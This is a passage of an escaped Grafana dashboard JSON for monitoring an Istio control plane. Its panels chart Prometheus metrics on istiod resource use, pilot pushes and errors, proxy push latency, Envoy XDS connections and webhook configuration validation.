\"legendFormat\": \"Sidecar (container)\",\n \"refId\": \"B\",\n \"step\": 2\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"CPU\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 7,\n \"w\": 6,\n \"x\": 12,\n \"y\": 7\n },\n \"id\": 7,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"container_fs_usage_bytes{container=\\\"discovery\\\", pod=~\\\"istiod-.*|istio-pilot-.*\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 2,\n \"legendFormat\": \"Discovery\",\n \"refId\": \"B\",\n \"step\": 2\n },\n {\n \"expr\": \"container_fs_usage_bytes{container=\\\"istio-proxy\\\", pod=~\\\"istiod-.*|istio-pilot-.*\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Sidecar\",\n \"refId\": \"A\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Disk\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"bytes\",\n \"label\": \"\",\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"decimals\": null,\n \"format\": \"none\",\n \"label\": \"\",\n \"logBase\": 1024,\n \"max\": null,\n \"min\": null,\n \"show\": false\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 7,\n \"w\": 6,\n \"x\": 18,\n \"y\": 7\n },\n \"id\": 4,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": false,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"go_goroutines{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 2,\n \"legendFormat\": \"Number of Goroutines\",\n \"refId\": \"A\",\n \"step\": 2\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Goroutines\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": \"\",\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"collapsed\": false,\n \"gridPos\": {\n \"h\": 1,\n \"w\": 24,\n \"x\": 0,\n \"y\": 14\n },\n \"id\": 58,\n \"panels\": [],\n \"title\": \"Pilot Push Information\",\n \"type\": \"row\"\n },\n {\n \"aliasColors\": {},\n \"bars\": true,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"description\": \"Shows the rate of pilot pushes\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 8,\n \"x\": 0,\n \"y\": 15\n },\n \"id\": 622,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": false,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null as zero\",\n \"paceLength\": 10,\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": true,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"sum(irate(pilot_xds_pushes{type=\\\"cds\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Cluster\",\n \"refId\": \"C\"\n },\n {\n \"expr\": \"sum(irate(pilot_xds_pushes{type=\\\"eds\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Endpoints\",\n \"refId\": \"D\"\n },\n {\n \"expr\": \"sum(irate(pilot_xds_pushes{type=\\\"lds\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Listeners\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"sum(irate(pilot_xds_pushes{type=\\\"rds\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Routes\",\n \"refId\": \"E\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Pilot Pushes\",\n \"tooltip\": {\n \"shared\": false,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": [\n \"total\"\n ]\n },\n \"yaxes\": [\n {\n \"format\": \"ops\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": \"0\",\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": false\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"description\": \"Captures a variety of pilot errors\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 8,\n \"x\": 8,\n \"y\": 15\n },\n \"id\": 67,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"hideEmpty\": true,\n \"hideZero\": true,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"sum(pilot_xds_cds_reject{app=\\\"istiod\\\"}) or (absent(pilot_xds_cds_reject{app=\\\"istiod\\\"}) - 1)\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Rejected CDS Configs\",\n \"refId\": \"C\"\n },\n {\n \"expr\": \"sum(pilot_xds_eds_reject{app=\\\"istiod\\\"}) or (absent(pilot_xds_eds_reject{app=\\\"istiod\\\"}) - 1)\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Rejected EDS Configs\",\n \"refId\": \"D\"\n },\n {\n \"expr\": \"sum(pilot_xds_rds_reject{app=\\\"istiod\\\"}) or (absent(pilot_xds_rds_reject{app=\\\"istiod\\\"}) - 1)\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Rejected RDS Configs\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"sum(pilot_xds_lds_reject{app=\\\"istiod\\\"}) or (absent(pilot_xds_lds_reject{app=\\\"istiod\\\"}) - 1)\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Rejected LDS Configs\",\n \"refId\": \"B\"\n },\n {\n \"expr\": \"sum(rate(pilot_xds_write_timeout{app=\\\"istiod\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Write Timeouts\",\n \"refId\": \"F\"\n },\n {\n \"expr\": \"sum(rate(pilot_total_xds_internal_errors{app=\\\"istiod\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Internal Errors\",\n \"refId\": \"H\"\n },\n {\n \"expr\": \"sum(rate(pilot_total_xds_rejects{app=\\\"istiod\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Config Rejection Rate\",\n \"refId\": \"E\"\n },\n {\n \"expr\": \"sum(rate(pilot_xds_push_context_errors{app=\\\"istiod\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Push Context Errors\",\n \"refId\": \"K\"\n },\n {\n \"expr\": \"sum(rate(pilot_xds_pushes{type!~\\\"lds|cds|rds|eds\\\"}[1m])) by (type)\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Push Errors ({{ type }})\",\n \"refId\": \"L\"\n },\n {\n \"expr\": \"sum(rate(pilot_xds_push_errors{app=\\\"istiod\\\"}[1m])) by (type)\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Push Errors ({{ type }})\",\n \"refId\": \"I\"\n },\n {\n \"expr\": \"sum(rate(pilot_xds_push_timeout{app=\\\"istiod\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Push Timeouts\",\n \"refId\": \"G\"\n },\n {\n \"expr\": \"sum(rate(pilot_xds_push_timeout_failures{app=\\\"istiod\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Push Timeouts Failures\",\n \"refId\": \"J\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Pilot Errors\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"description\": \"Shows the total time it takes to push a config update to a proxy\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 8,\n \"x\": 16,\n \"y\": 15\n },\n \"id\": 624,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 2,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"histogram_quantile(0.5, sum(rate(pilot_proxy_convergence_time_bucket[1m])) by (le))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"p50 \",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"histogram_quantile(0.9, sum(rate(pilot_proxy_convergence_time_bucket[1m])) by (le))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"p90\",\n \"refId\": \"B\"\n },\n {\n \"expr\": \"histogram_quantile(0.99, sum(rate(pilot_proxy_convergence_time_bucket[1m])) by (le))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"p99\",\n \"refId\": \"C\"\n },\n {\n \"expr\": \"histogram_quantile(0.999, sum(rate(pilot_proxy_convergence_time_bucket[1m])) by (le))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"p99.9\",\n \"refId\": \"D\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Proxy Push Time\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"s\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 12,\n \"x\": 0,\n \"y\": 23\n },\n \"id\": 45,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"hideEmpty\": true,\n \"hideZero\": true,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null as zero\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"pilot_conflict_inbound_listener{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Inbound Listeners\",\n \"refId\": \"B\"\n },\n {\n \"expr\": \"pilot_conflict_outbound_listener_http_over_current_tcp{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Outbound Listeners (http over current tcp)\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"pilot_conflict_outbound_listener_tcp_over_current_tcp{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Outbound Listeners (tcp over current tcp)\",\n \"refId\": \"C\"\n },\n {\n \"expr\": \"pilot_conflict_outbound_listener_tcp_over_current_http{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"Outbound Listeners (tcp over current http)\",\n \"refId\": \"D\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Conflicts\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": false\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 12,\n \"x\": 12,\n \"y\": 23\n },\n \"id\": 47,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"pilot_virt_services{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Virtual Services\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"pilot_services{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Services\",\n \"refId\": \"B\"\n },\n {\n \"expr\": \"sum(pilot_xds{app=\\\"istiod\\\"}) by (instance)\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Connected Endpoints\",\n \"refId\": \"E\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"ADS Monitoring\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"collapsed\": false,\n \"gridPos\": {\n \"h\": 1,\n \"w\": 24,\n \"x\": 0,\n \"y\": 31\n },\n \"id\": 64,\n \"panels\": [],\n \"title\": \"Envoy Information\",\n \"type\": \"row\"\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"description\": \"Shows details about Envoy proxies in the mesh\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 8,\n \"x\": 0,\n \"y\": 32\n },\n \"id\": 40,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"sum(irate(envoy_cluster_upstream_cx_total{cluster_name=\\\"xds-grpc\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"XDS Connections\",\n \"refId\": \"C\"\n },\n {\n \"expr\": \"sum(irate(envoy_cluster_upstream_cx_connect_fail{cluster_name=\\\"xds-grpc\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"XDS Connection Failures\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"sum(increase(envoy_server_hot_restart_epoch[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Envoy Restarts\",\n \"refId\": \"B\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Envoy Details\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"ops\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"ops\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": false\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 8,\n \"x\": 8,\n \"y\": 32\n },\n \"id\": 41,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"sum(envoy_cluster_upstream_cx_active{cluster_name=\\\"xds-grpc\\\"})\",\n \"format\": \"time_series\",\n \"intervalFactor\": 2,\n \"legendFormat\": \"XDS Active Connections\",\n \"refId\": \"C\",\n \"step\": 2\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"XDS Active Connections\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"description\": \"Shows the size of XDS requests and responses\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 8,\n \"x\": 16,\n \"y\": 32\n },\n \"id\": 42,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"hideEmpty\": false,\n \"hideZero\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"max(rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\\\"xds-grpc\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"XDS Response Bytes Max\",\n \"refId\": \"D\"\n },\n {\n \"expr\": \"quantile(0.5, rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\\\"xds-grpc\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 1,\n \"legendFormat\": \"XDS Response Bytes Average\",\n \"refId\": \"B\"\n },\n {\n \"expr\": \"max(rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\\\"xds-grpc\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"XDS Request Bytes Max\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"quantile(.5, rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\\\"xds-grpc\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"XDS Request Bytes Average\",\n \"refId\": \"C\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"XDS Requests Size\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"Bps\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"ops\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": false\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"collapsed\": false,\n \"datasource\": null,\n \"gridPos\": {\n \"h\": 1,\n \"w\": 24,\n \"x\": 0,\n \"y\": 40\n },\n \"id\": 626,\n \"panels\": [],\n \"title\": \"Webhooks\",\n \"type\": \"row\"\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": null,\n \"fill\": 1,\n \"fillGradient\": 0,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 12,\n \"x\": 0,\n \"y\": 41\n },\n \"hiddenSeries\": false,\n \"id\": 629,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"hideEmpty\": false,\n \"hideZero\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"nullPointMode\": \"null\",\n \"options\": {\n \"dataLinks\": []\n },\n \"percentage\": false,\n \"pointradius\": 2,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"sum(rate(galley_validation_passed[1m]))\",\n \"interval\": \"\",\n \"legendFormat\": \"Validations (Success)\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"sum(rate(galley_validation_failed[1m]))\",\n \"interval\": \"\",\n \"legendFormat\": \"Validation (Failure)\",\n \"refId\": \"B\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Configuration Validation\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": null,\n \"description\": \"\",\n \"fill\": 1,\n \"fillGradient\": 0,\n \"gridPos\": {\n \"h\": 8,\n \"w\": 12,\n \"x\": 12,\n \"y\": 41\n },\n \"hiddenSeries\": false,\n \"id\": 630,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"hideZero\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"nullPointMode\": \"null\",\n \"options\": {\n \"dataLinks\": []\n },\n \"percentage\": false,\n \"pointradius\": 2,\n \"points\": false,\n \"renderer\": \"flot\",\n 